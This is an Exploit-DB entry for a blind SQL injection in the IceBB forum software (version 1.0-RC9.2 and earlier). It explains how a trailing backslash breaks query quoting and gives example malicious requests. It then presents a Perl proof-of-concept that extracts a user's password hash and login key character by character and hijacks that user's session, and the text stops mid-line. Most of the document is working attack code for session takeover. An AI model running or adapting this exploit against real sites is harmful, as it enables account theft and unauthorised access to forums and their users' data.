Exploit-DB #6137
Description: IceBB 1.0-RC9.2 - Blind SQL Injection / Session Hijacking
Type: webapps
Platform: php
Date: 2008-07-26
Author: girex

Exploit:
# Author:	__GiReX__		26/07/08
# Homepage:	girex.altervista.org

# CMS: 		IceBB <= 1.0-RC9.2
# Site:		icebb.net

# Bug: 		Blind SQL Injection
# Exploit:	Session Hijacking PoC

# Works regardless of php.ini settings


# Description:
	IceBB is a powerful, fast, free, and open-source forum solution powered by the free PHP and MySQL. 
	IceBB scales well, no matter how many users or posts, due to its clean and efficient code. 
	It can also be fully customized to your needs with full skin and language support. 
	A powerful admin control center, along with easy-to-use moderation tools, 
	allow you to easily manage all aspects of your forum.


# Exploit Discussion:

IceBB get all incoming data (GET/POST) in /includes/functions.php and store them into $input array (class std_func, function capture_input)

# It "cleans" the string vars with this func:  lines  94-106

94.	function clean_string($v)
	{
		if(get_magic_quotes_gpc())
		{
			$v = stripslashes($v);  <==   We don't need magic quotes = off  :P
		}
		
		//$v	= htmlentities($v,ENT_QUOTES,'UTF-8');
		$v	= htmlspecialchars($v,ENT_QUOTES);
		$v	= preg_replace("/&amp;#0*([0-9]*);?/",'&#\\1;',$v);
		
		return $v;
106.	}


So it fixes quotes chars... but what about backslashes?  -->  \  <---
If i put a backslash at the end of an input that is between 2 quote in a query i can manipulate the query

# Let's see:
# "SELECT COUNT(*) as total FROM icebb_posts WHERE pauthor_id='{$icebb->input['author']}'"

# Setting author=\  in this query:
# "SELECT COUNT(*) as total FROM icebb_posts WHERE pauthor_id='\' "

The end quote will be ignored and we get an error..

How can we exploit that?
In a query with 2 input..


# File: /modules/memebers.php  lines 43-78

	$fleh	= $icebb->input;  <==
	...
	foreach($fleh as $k => $g)
	{	
	 	...
		$where_clauses[]  = "{$k}='{$g}'";  <==
		...
	}
	...

	$this->qwhere	= implode(' AND ',$where_clauses);
	$total	= $db->fetch_result("SELECT COUNT(*) as total FROM icebb_users{$this->qwhere}{$qextra}"); <==

In this query there can be more inputs (GET/POST) for example $username and $url.

If we set username=\  the sintax after it will be quoted and became part of the string
while from the next quote (the one that came before $url) will became SQL. (so the $url content).

# For example:
# GET /index.php?act=members&username=a\&url=OR+1#

# Became:
# "SELECT COUNT(*) as total FROM icebb_users WHERE user_group='a\' AND username='OR 1#' AND id!=0 ORDER BY username ASC"

So whith the parameter $username we can manipulate the query...

Unfortunally i could find only a Blind Sql Injection with this trick.. and.. 
the passwords stored in db are hashed (md5) and salted.

We can try to Hijacking admin/user's session...
(but we can't access to admin area that needs special login).

# The function autoLogin() in /includes/classes/login_func.php
# is called if cookies ar set...  line 153-175

153.function autoLogin()
    {
		global $icebb,$db,$config,$std;
	
		$uid				= $std->eatCookie('uid');
		$login_key			= $std->eatCookie('login_key');
	
		$icebb->hooks->hook('login_autoLogin', $uid, $login_key);
	
		$userq				= $db->query("SELECT u.*,g.* FROM icebb_users AS u LEFT JOIN icebb_groups AS g ON u.user_group=g.gid WHERE u.id=".intval($uid)." AND u.login_key='{$login_key}' LIMIT 1");
		$udata				= $db->fetch_row($userq);
		
		if($db->get_num_rows($userq)>=1)
		{
			if($std->eatCookie('pass')==$udata['password'])
			{
				$sessid		= md5(uniqid(microtime()));
				$ip			= $icebb->client_ip;
				$user_agent	= $std->clean_string($_SERVER['HTTP_USER_AGENT']);
			
				//$db->query("DELETE FROM icebb_session_data WHERE username='{$udata['username']}' OR ip='{$ip}'",1);

175.			$sessdata	= $this->create_session($udata['username'],$udata['id'],false,true);


If admin has cookies enabled we can login and create/edit/delete posts and topics.

###############################  Perl Exploit Start #############################


#!/usr/bin/perl
# IceBB <= 1.0-RC9.2 Blind SQL Injection
# Admin/User's Session Hijacking PoC
# Coded by __GiReX__

use LWP::UserAgent;
 
if(not defined $ARGV[1])
{
	banner();
	print "[+] Usage:\tperl  $0  <host>  <path>  [id]\n";
	print "[+] Example:\tperl  $0  localhost  /icebb/ 1\n";
	exit;
}

my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
my $id  =  (defined $ARGV[2]) ? $ARGV[2]: 1;  

my $lwp =  new LWP::UserAgent;
my @cset  =  (48..57, 97..102); 

my ($hash, $key, $user, $prefix) =  (undef, undef, undef, undef);      

banner();
$user = get_username();
$prefix =  get_prefix();

print STDOUT "[+] User $id username: $user\n";
	
for(my $j = 1; $j <= 32; $j++)
{  
    foreach $char(@cset)
    {	
		info(chr($char), $hash, "password");
		$rv = check_char($char, $j, "password");	
	
         	if(defined $rv)
	     	{		
	         	$hash .= chr($char);
	         	last;
	     	}
    }
	
    last if $j > 2 and not defined $hash;
}	

if(not defined $hash or length($hash) != 32)
{
	print STDOUT "\n\n[-] Exploit mistake: probably fixed\n";
	exit;
}
else
{
	print STDOUT "\n" x 1; 
}

for(my $j = 1; $j <= 32; $j++)
{  
    foreach $char(@cset)
    {	
	  info(chr($char), $key, "loginkey");
	  $rv = check_char($char, $j, "login_key");	
	
          if(defined $rv)
	  {		
	       $key .= chr($char);
	       last;
	  }
    }
	
    last if $j > 2 and not defined $key;
}

if(not defined $key or length($key) != 32)
{
     print STDOUT "\n\n[-] Exploit mistake: user $id has not a login_key\n";
     exit;
}

print "\n\n[+] Attempting to login with user's $id session...\n\n";

$logged = try_login();

if(defined $logged) 
{
	print STDOUT "[+] Oh yeah logged in!\n\n";
	print STDOUT "[+] Try yourself with your browser and these cookies:\n\n";
	print STDOUT "[+] Cookie: ${prefix}user=${user}; ${prefix}pass=$